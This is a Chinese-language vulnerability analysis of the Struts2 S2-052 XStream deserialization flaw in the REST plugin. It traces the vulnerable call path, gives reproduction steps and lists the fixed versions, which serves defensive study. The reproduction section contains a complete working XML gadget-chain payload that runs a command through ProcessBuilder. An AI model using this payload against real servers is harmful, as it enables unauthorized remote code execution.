struts2 rest插件的xstream组件存在反序列化漏洞,使用xstream组件对xml格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程命令执行。
利用条件:使用 rest 插件并在受影响版本范围内。
利用方式:攻击者构建恶意数据包远程利用。
影响版本:struts 2.1.2 - struts 2.3.33, struts 2.5 - struts 2.5.12
调试环境搭建1)下载官方源码:
git clone https://github.com/apache/struts.git
2)切换到2.5.12分支:
git checkout struts_2_5_12
3) 把源码包中src/apps/rest-showcase整个文件夹拷贝出来,新建一个项目
4)用idea或者eclipse导入该maven项目
5) debug模式运行后就可以愉快的调试了
漏洞原理分析根据官方公告知道该漏洞出现在 xstreamhandler 类,在 struts2-rest-plugin-2.5.12.jar 包内。
于是查看该类,该类中有一个toobject方法,其作用就是对xml内容进行反序列化。
先在此方法内打一个断点,然后构造数据包
发送数据包后,会跳到断点处,此时,看到是上层调用栈中是contenttypeinterceptor调用了该方法
contenttypeinterceptor类中intercept方法会根据传入的content-type的值生成相应的对象,由于我们传入的是application/xml,所以对应生成一个xml的处理对象xstreamhandler。
继续f5,看到执行反序列化的函数unmarshal,在这个函数执行时没有进行数据安全检查,导致远程命令执行。
接着进入unmarshal函数内,继续往下调试,abstractreflectionconverter会一步步解析我们提交的xml标签和值,最终调用poc中代码
漏洞复现在页面http://localhost:8080//struts2-rest-showcase/orders/3/edit中点击submit,
拦截http请求并将请求体改为poc payload,同时将content-type header改为application/xml。
payload为:
<map> <entry> <jdk.nashorn.internal.objects.nativestring> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.base64data"> <datahandler> <datasource class="com.sun.xml.internal.ws.encoding.xml.xmlmessage$xmldatasource"> <is class="javax.crypto.cipherinputstream"> <cipher class="javax.crypto.nullcipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceiterator class="javax.imageio.spi.filteriterator"> <iter class="javax.imageio.spi.filteriterator"> <iter class="java.util.collections$emptyiterator"/> <next class="java.lang.processbuilder"> <command> <string>/applications/calculator.app/contents/macos/calculator</string> </command> <redirecterrorstream>false</redirecterrorstream> </next> </iter> <filter class="javax.imageio.imageio$containsfilter"> <method> <class>java.lang.processbuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceiterator> <lock/> </cipher> <input class="java.lang.processbuilder$nullinputstream"/> <ibuffer/> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </datasource> <transferflavors/> </datahandler> <datalen>0</datalen> </value> </jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring reference="../jdk.nashorn.internal.objects.nativestring"/> </entry> <entry> <jdk.nashorn.internal.objects.nativestring reference="../../entry/jdk.nashorn.internal.objects.nativestring"/> <jdk.nashorn.internal.objects.nativestring reference="../../entry/jdk.nashorn.internal.objects.nativestring"/> </entry> </map>
发送请求后,弹出计算器
补丁官方补丁,官方的修复方案中, 主要就是将 xml 中的数据白名单化,把 collection 和 map,一些基础类,时间类放在白名单中,这样就能阻止 xstream 反序列化的过程中带入一些有害类
修复建议version 2.3.0 to 2.3.33升级到struts 2.3.34版本
version 2.5.0 to 2.5.12升级到struts 2.5.13版本
以上就是struts2-052漏洞示例分析的详细内容。